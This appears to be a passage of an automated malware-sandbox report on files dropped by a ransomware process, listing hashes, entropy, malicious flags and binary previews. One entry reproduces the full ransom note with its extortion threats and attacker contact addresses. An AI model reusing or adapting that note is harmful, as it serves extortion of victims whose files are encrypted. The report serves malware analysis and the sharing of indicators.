                                                                                                                                                                Preview:4...I2.#x.i..'..."...q:..^$...}...r.i.\..P.....A.'.........V...AX...S...Al........KF.@...!.....6n.Pg.I.b.E.s>..E...?.....M.o`W.krK,......}1.P.M...3.8...j..oBJ$.v1*(..5..D.%E...E..v[. v..I..!..Rq0...Mm....+?.....6....-.K....?s..k...S........$.Sz.....O.[..Q B..|...V.?.L....{....2r.+.k..h^.*.1..MY1...je..q.x.E....o...uo..D.C*R....qD..V.....,".k....5+..~..)...%..yR..}.N...U..Z..*D\X1..j|..@8u.j..k?j...l.c...Y..g9S.ZZm..$/}..BP~..3.......D7...E..F..J.-........7al.Z'h....^.A.`&..T{..-..-(.~h....\..........UR.U................] [.c...N.#...G.tL..;..M..Y..+........h..r....TG3* )..:...k....wk.~.........\..L.g=!..@..r.1.7!..."I)..b.H^.v.L.......v...I.K.....Ov.....B`uN...L;......yH]I.@.3^."(w..[...WY..?.....U.l.%.xS..........o?W......p&..cQ.'....<.W...V..........=..V}.Z....n..7* .#Jk.....A.S...3..n...=.x.o..y|g.!..BV!.x.zD..8...C?/ ....B.P...w......X.t=...V..~.b.3..-.........@....he.z_.2k....9.T....s...O...&_.\.oK}.k.y......?..|..#.1..D.L.1>.1.O9O.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):5243146
                                                                                                                                                                Entropy (8bit):0.046199655643512805
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:384:+Xpe9uVPRALu2+PFTU+Lu2+PFTUnLu2+PFTUvjYa:kEEVPRAZz+ZznZzLH
                                                                                                                                                                MD5:557366778FB5651B4715453B27B10ACA
                                                                                                                                                                SHA1:361431C88FD65CE810FBCE8A9A1256256AE872B4
                                                                                                                                                                SHA-256:4C0D9AE0EC2CF69EF96E1017D88C5BB66D5F5C42ADDAC3F974CC37F7E7B9FD95
                                                                                                                                                                SHA-512:2B20CFFD9C8F1366EAE97F332E471E269EE96436B3A8123AD3996D2FDFDCDE8C26B5E493C24B4332ED4A2EC4490BE9A1B57663DE36F47BB7F61DD97B64B6A066
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:...bi..Y.T..FU...)...w..b-..T.../.]y..k.P........>?.jv.E@....A.....J(FF.r...O..C...1X..*q.../t...x.h..s..yY..9......)R])}..~.o.k...T.../Tl...ba.d.....k.........Wu....@.G.....J..C.`4..=.;,)D.....T...XR.K.1Jg".]....F..-.6...2..W@.4......y......"{.. t..g.m......<..X....o.....d.-.R....\0..>H%K.Z..........g.e&G.'.{..E.e'[I........H.....+..si[u...rX..M...)Lv.%...z."....%....."...z......h.b.t.....6!.$@..A../.....qAZ.:...@.K*F./.A....de!C.x........0@......>*..puF..[O....[>........Ri{......A...E.>..4d/...8.rH.........w=..|k6.....ec....c<,...4.iw}).Y-m~9m...&.W\7...e.B...U[[q....s.......`8.I..w.S......k.,.{.."..@.Q..t...?..p.D...IyVn..?..T.La......CJ....3.LS.C"...o(.h.pL..".w".2.m.B..h.^+7<g\.k..:.o..?k.?..]%.....bC.!.J~w..y++~..Gq.......+iJ&..<....[(.-..H..qL....~...F..gr.bz.Q.#....t...8j]&....}...G..j..m.t...@..r~./.zR8.M!%.J.m7.\.._...5#Hr.1...b...B..!.%.oG.0.E..\x}....%e......b.........DW?.i.\.@R..\...N...X......@.......+:$...s.....-..mq....Ja
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:COM executable for DOS
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):33034
                                                                                                                                                                Entropy (8bit):1.6095069978242937
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:B1+IArDLDCpG9XBl23/PTJAr8VSWFAZ/yh9BZBkskgS:ceY9xlKAANFD9BZSshS
                                                                                                                                                                MD5:B71D6BB179AE7F9D3E448C31DFEC322F
                                                                                                                                                                SHA1:C7DF2CF96CC80FB5F3192F838FC985886AE0336D
                                                                                                                                                                SHA-256:CB95118507663DEAB207DA9B934638ACDFBA5040C9D056E9B7B2422C5E9CE7C1
                                                                                                                                                                SHA-512:880D72E5A7210A66BD987409343658D795A56F4673C019B3F98EF97DAC450E5584AA4483CEB9E4EECEFE5FC1F112767B7C9591AD8632AEB7D6D21D83E0BFF062
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:......)....h.G...b...Q.h.g...M.(gr.t..s.8K.P.........Bl..Oj..P...<.R_.s.I*Qa..9V.4\I.e.6.o........m..NT.A}......s..D....?e.....".3..(.A.)r...V.s...6..1..fV.T....t@Q.S..M.......E<(.Gt..c.. .ggf.....r.g...!..m..ZQ..^.CG.\q.F.6..~.#..)C.;..Q..Wl.<........W.:.._.$&...&.NG..T..A2.h...w.d..:^..#..f%.[ ...V..(.|.....y..U.z..=^..L{z1...\$IL....)F...AB..V.fzR....@#.7........4..i..*....ff...O.t.zQ.d.[I/4..u/&.E.K...e.......[J.kq&i4...`.Z.a.....i....0....U......BS.|X....J`...t./..S;.QBE.E...4.Y..M.....J.+..1....b..@F.2..t~.M.#.....b......6..5.B....6..h..B.......E..$,...8fCls8..#.}..~^.4./..w.....g.... bf.X.h...b.T..&3`...}..@=0.M.......:.....d..p..........8...2F......S;.m...@E SZ........o.f.&c....k.3.~...>....q.e|TP.....F.T:.-...............Jxe..d..@.d3](\q3.........u.t...e.......8.%}....z.H.........O%l.:U..c>.{.g.._.....=.UHNU.E.n_....n.o.X..m..5U.0P.ql(.-.p..X.g.#4O. ..O.......%...w.Y.dv%%.{.P...&....%....d8VF.*.@H.Z.VX........0.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:COM executable for DOS
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):33034
                                                                                                                                                                Entropy (8bit):1.6095069978242937
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:B1+IArDLDCpG9XBl23/PTJAr8VSWFAZ/yh9BZBkskgS:ceY9xlKAANFD9BZSshS
                                                                                                                                                                MD5:B71D6BB179AE7F9D3E448C31DFEC322F
                                                                                                                                                                SHA1:C7DF2CF96CC80FB5F3192F838FC985886AE0336D
                                                                                                                                                                SHA-256:CB95118507663DEAB207DA9B934638ACDFBA5040C9D056E9B7B2422C5E9CE7C1
                                                                                                                                                                SHA-512:880D72E5A7210A66BD987409343658D795A56F4673C019B3F98EF97DAC450E5584AA4483CEB9E4EECEFE5FC1F112767B7C9591AD8632AEB7D6D21D83E0BFF062
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:......)....h.G...b...Q.h.g...M.(gr.t..s.8K.P.........Bl..Oj..P...<.R_.s.I*Qa..9V.4\I.e.6.o........m..NT.A}......s..D....?e.....".3..(.A.)r...V.s...6..1..fV.T....t@Q.S..M.......E<(.Gt..c.. .ggf.....r.g...!..m..ZQ..^.CG.\q.F.6..~.#..)C.;..Q..Wl.<........W.:.._.$&...&.NG..T..A2.h...w.d..:^..#..f%.[ ...V..(.|.....y..U.z..=^..L{z1...\$IL....)F...AB..V.fzR....@#.7........4..i..*....ff...O.t.zQ.d.[I/4..u/&.E.K...e.......[J.kq&i4...`.Z.a.....i....0....U......BS.|X....J`...t./..S;.QBE.E...4.Y..M.....J.+..1....b..@F.2..t~.M.#.....b......6..5.B....6..h..B.......E..$,...8fCls8..#.}..~^.4./..w.....g.... bf.X.h...b.T..&3`...}..@=0.M.......:.....d..p..........8...2F......S;.m...@E SZ........o.f.&c....k.3.~...>....q.e|TP.....F.T:.-...............Jxe..d..@.d3](\q3.........u.t...e.......8.%}....z.H.........O%l.:U..c>.{.g.._.....=.UHNU.E.n_....n.o.X..m..5U.0P.ql(.-.p..X.g.#4O. ..O.......%...w.Y.dv%%.{.P...&....%....d8VF.*.@H.Z.VX........0.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):292
                                                                                                                                                                Entropy (8bit):7.271152985503757
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:zwBYCR8GF/QFzIQCLgBmDtnffQ8N0eAzqrpSySUUA4UhX4n:5zGF/QFzIDlFQ7QpBz3FR4n
                                                                                                                                                                MD5:D100E2E09A08CDAB2808339DD7DF0ADE
                                                                                                                                                                SHA1:2D9708A179E877CB78AE30570A30B3669398E5D6
                                                                                                                                                                SHA-256:CEAF8C497D4226DBC325F608E3D0AA3E4E77DC0EFB6FCC76D44F20343F810000
                                                                                                                                                                SHA-512:99195BE6378A98F37DDE8E200BB21DE86CE4B515AE50D455528042C7FD417726E50146DB10FD163749A74BFD68F5D9497068935BB80ADE8F9C2446C9B23A7A2C
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:b..j......S.?...........f....G.....I.._..k3..p..@...#\.c...>.....(..].:...{..F.i.y.=G.mlto.....0.. .G.A.u....&..Wd...y.kSP..qV..Zt.z~..7I.cKj.eKjQ.F.#....D.Z.M..z...w.&....=..>.~..,z..X.9...9{...a.2...K..........PXU..h...8)..b.....S....`..p..u@q..1I..G...."....0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):5243146
                                                                                                                                                                Entropy (8bit):0.046199655643512805
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:384:+Xpe9uVPRALu2+PFTU+Lu2+PFTUnLu2+PFTUvjYa:kEEVPRAZz+ZznZzLH
                                                                                                                                                                MD5:557366778FB5651B4715453B27B10ACA
                                                                                                                                                                SHA1:361431C88FD65CE810FBCE8A9A1256256AE872B4
                                                                                                                                                                SHA-256:4C0D9AE0EC2CF69EF96E1017D88C5BB66D5F5C42ADDAC3F974CC37F7E7B9FD95
                                                                                                                                                                SHA-512:2B20CFFD9C8F1366EAE97F332E471E269EE96436B3A8123AD3996D2FDFDCDE8C26B5E493C24B4332ED4A2EC4490BE9A1B57663DE36F47BB7F61DD97B64B6A066
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:...bi..Y.T..FU...)...w..b-..T.../.]y..k.P........>?.jv.E@....A.....J(FF.r...O..C...1X..*q.../t...x.h..s..yY..9......)R])}..~.o.k...T.../Tl...ba.d.....k.........Wu....@.G.....J..C.`4..=.;,)D.....T...XR.K.1Jg".]....F..-.6...2..W@.4......y......"{.. t..g.m......<..X....o.....d.-.R....\0..>H%K.Z..........g.e&G.'.{..E.e'[I........H.....+..si[u...rX..M...)Lv.%...z."....%....."...z......h.b.t.....6!.$@..A../.....qAZ.:...@.K*F./.A....de!C.x........0@......>*..puF..[O....[>........Ri{......A...E.>..4d/...8.rH.........w=..|k6.....ec....c<,...4.iw}).Y-m~9m...&.W\7...e.B...U[[q....s.......`8.I..w.S......k.,.{.."..@.Q..t...?..p.D...IyVn..?..T.La......CJ....3.LS.C"...o(.h.pL..".w".2.m.B..h.^+7<g\.k..:.o..?k.?..]%.....bC.!.J~w..y++~..Gq.......+iJ&..<....[(.-..H..qL....~...F..gr.bz.Q.#....t...8j]&....}...G..j..m.t...@..r~./.zR8.M!%.J.m7.\.._...5#Hr.1...b...B..!.%.oG.0.E..\x}....%e......b.........DW?.i.\.@R..\...N...X......@.......+:$...s.....-..mq....Ja
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:COM executable for DOS
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):646
                                                                                                                                                                Entropy (8bit):7.690015770198932
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:12:mZ8gzPcjuZKnjBW7ogM8hMB1/KXuBdDbRGl+WtjaCDpi6qZB8mn:mT/IaoJmu1/KmdDgI0/TiB8m
                                                                                                                                                                MD5:4B63155C1F6787904E3C2186D029FBEF
                                                                                                                                                                SHA1:09B8D5345E3F25FB7BF554515C24221408FB90BA
                                                                                                                                                                SHA-256:3B1AA376DF580C6893ECBC5004975571B5D068C312007B4FFB49AF6519822C40
                                                                                                                                                                SHA-512:5F16EB65655515087DAC9FF1F3CD5BAA4107E07F68F6572F1C982817706416E89113753AC5E2D578B296F4B6B5DDFA4F7A32D47E7CAC82504BF587B1095F3263
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:.C..V..>_.......4.d...b..... ..34...*..s.W...<C.F.c_u...P.s......P.v.P..N....^....>i.^.(.h...N...XkH.B....e.8'I..$;...b@h....Ur.G.m2=....0.S.L..*.g^.i..J.....p..p'..^..KR7dsmvO.:......#.,H).$Z..o.+?....N9@zz.'..d+]z.....$bmFRTe.oB.\}..)..u...J...I1D..rCd...pj.#??`...:.]..Lo..X.l.Q.|...F..O7......T.........;.=)7J6V..R....i...qX..IKs,...$....G.u .....Xated":false}.G..E....x(p.l...7=.$.....]...9F.=D...r.6.h.7.'z.d.~"v...h.U-i.P...W.h...q2...bu.q......1..O.P...u......W}...?....t".R.H}...uT....\..5qm.|eg.Y..cU....|.y..i.......5m.O.L..r.......q..Qf.}{....KKb.........4.........H....kp..5xHf.4z>....s..`..0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:COM executable for DOS
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):646
                                                                                                                                                                Entropy (8bit):7.690015770198932
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:12:mZ8gzPcjuZKnjBW7ogM8hMB1/KXuBdDbRGl+WtjaCDpi6qZB8mn:mT/IaoJmu1/KmdDgI0/TiB8m
                                                                                                                                                                MD5:4B63155C1F6787904E3C2186D029FBEF
                                                                                                                                                                SHA1:09B8D5345E3F25FB7BF554515C24221408FB90BA
                                                                                                                                                                SHA-256:3B1AA376DF580C6893ECBC5004975571B5D068C312007B4FFB49AF6519822C40
                                                                                                                                                                SHA-512:5F16EB65655515087DAC9FF1F3CD5BAA4107E07F68F6572F1C982817706416E89113753AC5E2D578B296F4B6B5DDFA4F7A32D47E7CAC82504BF587B1095F3263
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:.C..V..>_.......4.d...b..... ..34...*..s.W...<C.F.c_u...P.s......P.v.P..N....^....>i.^.(.h...N...XkH.B....e.8'I..$;...b@h....Ur.G.m2=....0.S.L..*.g^.i..J.....p..p'..^..KR7dsmvO.:......#.,H).$Z..o.+?....N9@zz.'..d+]z.....$bmFRTe.oB.\}..)..u...J...I1D..rCd...pj.#??`...:.]..Lo..X.l.Q.|...F..O7......T.........;.=)7J6V..R....i...qX..IKs,...$....G.u .....Xated":false}.G..E....x(p.l...7=.$.....]...9F.=D...r.6.h.7.'z.d.~"v...h.U-i.P...W.h...q2...bu.q......1..O.P...u......W}...?....t".R.H}...uT....\..5qm.|eg.Y..cU....|.y..i.......5m.O.L..r.......q..Qf.}{....KKb.........4.........H....kp..5xHf.4z>....s..`..0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):295178
                                                                                                                                                                Entropy (8bit):0.3002077095496911
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:192:Wlx13KAJbug6Ky4viva0zkVmvQhyn+Zoz679fqlQbGhMHPaVAL23vHhd:WPNjVuNmi1zkVmvQhyn+Zoz67W
                                                                                                                                                                MD5:9A8618ECC658F98C0683783FF958C902
                                                                                                                                                                SHA1:3BD9F3CB83A1242A5D37B1636C67340B32389E1B
                                                                                                                                                                SHA-256:D2B8494EBE07717E5A212C206D95ADB3DE57F9DCB609B5D9107E7EA5C03ABF14
                                                                                                                                                                SHA-512:7A732A65F898B2491796F852C32A7A3E177E244A22A98606C2A5BF0BADC46B5C11FA006F3FCF97E4E5A48EB7274E8A74F7B94F3A5CDC97F86E8C18D6B8E8A6EC
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:.. .i.I<.........9...g..9._........*5b.75........a...Dg.=..c(R..vH.o..d.....P......bR...E.>{.8..6..*.9.%:.2^.K....pL......X...........VwB......=.....4.%v^..?...]....i'$9....Q..u``F.)(.O.~..r.4.Mu..<.>.T..Vb.. I.v....Ea.....qP...m.!..{......d+..}k_.5...f]...M.....+..Vz<...|..m...t.;.L.i.q..?..D.c.w...)'v.R..x.H.../..Q.}.mYK1S..bSbhc...h......D..~-=.1.e&+..b}u.(I.{C!....[....f...b.Pb.`..v...a....#8.^j?_4.,...\.......3q...E+-........t.....xH..Gm....d.................K.+...IR...! .I.).b.*G..7...0.......@X3.6......(u.....8.#s.y.I.F....'..X..f.....C_....iN.T......\.d.J=..C.8}..LM..Q.i..>..X.NK......T/...*....._D....,..T5.y....[...a....,./.T.......5.%..f..&......E.....y.>N...)&...9V...=.._4.o..........7....1..@Q.g..[..'..^oCz.q&.O...bo...g.&h..|x"..{../..OG...ZG.g.b}..&.T.>.......d..g.Y."].S..d..i...$"2.H4}....F.......i.........'.,.X.k#Aib...u0W&..F.6E.{..r..X...V...!...50_....v. ..,b`...._.J.|]..q....L4l..;0....J1{w.^.......\.t...a..{. .
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):295178
                                                                                                                                                                Entropy (8bit):0.3002077095496911
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:192:Wlx13KAJbug6Ky4viva0zkVmvQhyn+Zoz679fqlQbGhMHPaVAL23vHhd:WPNjVuNmi1zkVmvQhyn+Zoz67W
                                                                                                                                                                MD5:9A8618ECC658F98C0683783FF958C902
                                                                                                                                                                SHA1:3BD9F3CB83A1242A5D37B1636C67340B32389E1B
                                                                                                                                                                SHA-256:D2B8494EBE07717E5A212C206D95ADB3DE57F9DCB609B5D9107E7EA5C03ABF14
                                                                                                                                                                SHA-512:7A732A65F898B2491796F852C32A7A3E177E244A22A98606C2A5BF0BADC46B5C11FA006F3FCF97E4E5A48EB7274E8A74F7B94F3A5CDC97F86E8C18D6B8E8A6EC
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:.. .i.I<.........9...g..9._........*5b.75........a...Dg.=..c(R..vH.o..d.....P......bR...E.>{.8..6..*.9.%:.2^.K....pL......X...........VwB......=.....4.%v^..?...]....i'$9....Q..u``F.)(.O.~..r.4.Mu..<.>.T..Vb.. I.v....Ea.....qP...m.!..{......d+..}k_.5...f]...M.....+..Vz<...|..m...t.;.L.i.q..?..D.c.w...)'v.R..x.H.../..Q.}.mYK1S..bSbhc...h......D..~-=.1.e&+..b}u.(I.{C!....[....f...b.Pb.`..v...a....#8.^j?_4.,...\.......3q...E+-........t.....xH..Gm....d.................K.+...IR...! .I.).b.*G..7...0.......@X3.6......(u.....8.#s.y.I.F....'..X..f.....C_....iN.T......\.d.J=..C.8}..LM..Q.i..>..X.NK......T/...*....._D....,..T5.y....[...a....,./.T.......5.%..f..&......E.....y.>N...)&...9V...=.._4.o..........7....1..@Q.g..[..'..^oCz.q&.O...bo...g.&h..|x"..{../..OG...ZG.g.b}..&.T.>.......d..g.Y."].S..d..i...$"2.H4}....F.......i.........'.,.X.k#Aib...u0W&..F.6E.{..r..X...V...!...50_....v. ..,b`...._.J.|]..q....L4l..;0....J1{w.^.......\.t...a..{. .
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):292
                                                                                                                                                                Entropy (8bit):7.187217920788531
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:usCo839Y2fhlgeCvl/q58gZ3j3E99/Umo7O/DCyQSmI6Hn:udo839Y2fh6Nt/tgZbE9FUL7O/Dstn
                                                                                                                                                                MD5:D10DD2D98C56E60ED94959A1CEC78417
                                                                                                                                                                SHA1:5C28C9B30E14FF6739F01589D429C77983C2B5DA
                                                                                                                                                                SHA-256:781EBCAE17C74F57C29F94E25F245BF7E5CFFCEBFEEFC550356893B1603B8F81
                                                                                                                                                                SHA-512:85CED376C9AC9A04BA9695C99C6EC1EBE1DB696CB00611A3E6D80409C8CD777F91AFFCABB50B7F0D350CCA9C428CD02ED55E0688F83750D9093D1C2E4534A3A5
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:..*.....)a..................e].<....q../.6.....v$W0H......Q#.Nh;.]Gx'.wzVy....r..\.O.J.......qvN..3x.R...Z.......g4.;.na....g..n.t...3........P.@`....a...jv..;.l.dq..!Sy.....h@. .O.....+..nf.D..T4@..u.......wT9/. .`....k...p.n...^=.Wg......@].K.H......7.If.n..#.o.r..0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:OpenPGP Secret Key
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):98570
                                                                                                                                                                Entropy (8bit):0.6600629215554293
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:ry2xibmuzOE5j5e+vYUD2kNdUsnwOkKLqLxjVR:r5xibN5lgUD9NDwSWR
                                                                                                                                                                MD5:D92F34697AA89868380EF5060A4241EB
                                                                                                                                                                SHA1:B2DF01DDFE14D537DD7965329D469AA6EDDE9916
                                                                                                                                                                SHA-256:F26E1CB9E79DA6C2D917AE41AC7DCC143E7F459B7A4C2B49871056194152A3CF
                                                                                                                                                                SHA-512:34F71FE4AC89FAAC7627308FA996099108CDCBC38A043C51AB21F632373160986A59D44883630A08B9C537890A010831A96392AFC515AB2052388328A8E4889D
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:...$.R%.`|.H..%)<NA.zm7.V..+GSp.........P..3O).2..0.....vOhH........B.i.C.&..pW..^M...1.s&.O9.L|...H;..=..{.......R...Fk........p.Q.<..\q>.X....*?..V..L.!....7]F.....K.N..]D.i+.JZ.v.P.....w..^........@.*.i.q.3I@..T......Ac..3r..\p.hQ..z:^...!.O.i...gl..Z...W..b.^~Z7..~.....F...0...s..k........LK....l"..s.O.....J.!.E..e;.;.....Xk..Er..l.g./g..@.C..Q.-......4C.t.{:./..Kv.C...z.lp.@....ZK...P..}W..xhT....j..`$.......Q;.n.>.-..HP+l..<..g......4vXv.kE&1]&5...(.is..g.`W....F.R...tJ............z...h.4zZ....p_.o..#......d{.. &...i...".V..-(.....T...#..wO&.)..Fo ...=.S......N...M.!v7....@......x..\.8\....q....J|@..w0.[8.1Ad.P_>..{q.@.[..9qA.".r.b..=........i........6+.lq.h..:..2.B#5C....B...y..L.NY.^....J.....g.x.=Hz...&Z.I..n.S.:.G...R1".b.c..7.\..:..........,..OMu.}.g..bV.2...U......D....t..U....D....;...U.|6.?.(..j.v...D(.a.....;..NdG.c..}.r"K..........v...,.]..cT..0.6V..m..|(.La.m;.aX.9...m}..7wzZL p.k.U..1.c...0:7U.t.\....l.E...!VB...:..
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:OpenPGP Secret Key
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):98570
                                                                                                                                                                Entropy (8bit):0.6600629215554293
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:ry2xibmuzOE5j5e+vYUD2kNdUsnwOkKLqLxjVR:r5xibN5lgUD9NDwSWR
                                                                                                                                                                MD5:D92F34697AA89868380EF5060A4241EB
                                                                                                                                                                SHA1:B2DF01DDFE14D537DD7965329D469AA6EDDE9916
                                                                                                                                                                SHA-256:F26E1CB9E79DA6C2D917AE41AC7DCC143E7F459B7A4C2B49871056194152A3CF
                                                                                                                                                                SHA-512:34F71FE4AC89FAAC7627308FA996099108CDCBC38A043C51AB21F632373160986A59D44883630A08B9C537890A010831A96392AFC515AB2052388328A8E4889D
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:...$.R%.`|.H..%)<NA.zm7.V..+GSp.........P..3O).2..0.....vOhH........B.i.C.&..pW..^M...1.s&.O9.L|...H;..=..{.......R...Fk........p.Q.<..\q>.X....*?..V..L.!....7]F.....K.N..]D.i+.JZ.v.P.....w..^........@.*.i.q.3I@..T......Ac..3r..\p.hQ..z:^...!.O.i...gl..Z...W..b.^~Z7..~.....F...0...s..k........LK....l"..s.O.....J.!.E..e;.;.....Xk..Er..l.g./g..@.C..Q.-......4C.t.{:./..Kv.C...z.lp.@....ZK...P..}W..xhT....j..`$.......Q;.n.>.-..HP+l..<..g......4vXv.kE&1]&5...(.is..g.`W....F.R...tJ............z...h.4zZ....p_.o..#......d{.. &...i...".V..-(.....T...#..wO&.)..Fo ...=.S......N...M.!v7....@......x..\.8\....q....J|@..w0.[8.1Ad.P_>..{q.@.[..9qA.".r.b..=........i........6+.lq.h..:..2.B#5C....B...y..L.NY.^....J.....g.x.=Hz...&Z.I..n.S.:.G...R1".b.c..7.\..:..........,..OMu.}.g..bV.2...U......D....t..U....D....;...U.|6.?.(..j.v...D(.a.....;..NdG.c..}.r"K..........v...,.]..cT..0.6V..m..|(.La.m;.aX.9...m}..7wzZL p.k.U..1.c...0:7U.t.\....l.E...!VB...:..
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):787
                                                                                                                                                                Entropy (8bit):7.769627586361038
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:12:QG+bltLsva1jtgmwVP0so4PosJsuO98ecnoRN+1vFltZxhE6aPVJKZoTHDlwrCef:TZvaRSmwt0x4PosjpoRE19q6adTjQcOH
                                                                                                                                                                MD5:469FB036ED31205FD0B20759E70F3C24
                                                                                                                                                                SHA1:2B731EF52532AD1A64A04EE574EDDEBD0540BACC
                                                                                                                                                                SHA-256:2B95DC9A73D3B8C0DF595D6971258C5A93D956F31119452A6A337483621208AB
                                                                                                                                                                SHA-512:8CA8C532275EF409B4D402464E09F0A6E6B692E14B2B7252D682BBA050C5858C9DAA3EB8BAAB7793F7E97D62751F3853E3F8A77390138BBF1D766791D4779B47
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:..l>..`.......s|,..........*.L....4..CL..9.@.....f.w2PG7.. 4...l,.P.........o.<v$4.........m....){.C5oM..QB>......b.Z/b:.GK.Ze........<@.rv.....EsX..... H.......3.]%.3>".^...x'./.}8&S..r..2...[.......'.J.....u..r.-5.Wpq..;>W[`m..TW....#....Kjq.z..2......a..M...iP.,ElVY.3D.........m..JG9.4&.F......P...*..Z..8....... >......<....S\4~...Z...@..Dw..zn9.....[I.-=.5m...E..$.5.X_....U.&..Qr.{.w-....v....a.t.......1]..7...c..^..!..t. I..w15-._Y.Y..E......(*..q.......a...d8.z..X.=30}).....-...._.......V..`......L..j8..?..G.C.9o.A..W8..Pj.C.T....[.%....... ...qq..s..8.P3.f..!.&/.p....p.A...-....[cO.5xo.Q.\...o..D.R....m..b^.....n@Z./....U...+.l...~C.i...>.a.T3a...V.\......c.?...[w7.K. ..E....HQ.>.......P+..$.........O..(...#.E0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):787
                                                                                                                                                                Entropy (8bit):7.769627586361038
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:12:QG+bltLsva1jtgmwVP0so4PosJsuO98ecnoRN+1vFltZxhE6aPVJKZoTHDlwrCef:TZvaRSmwt0x4PosjpoRE19q6adTjQcOH
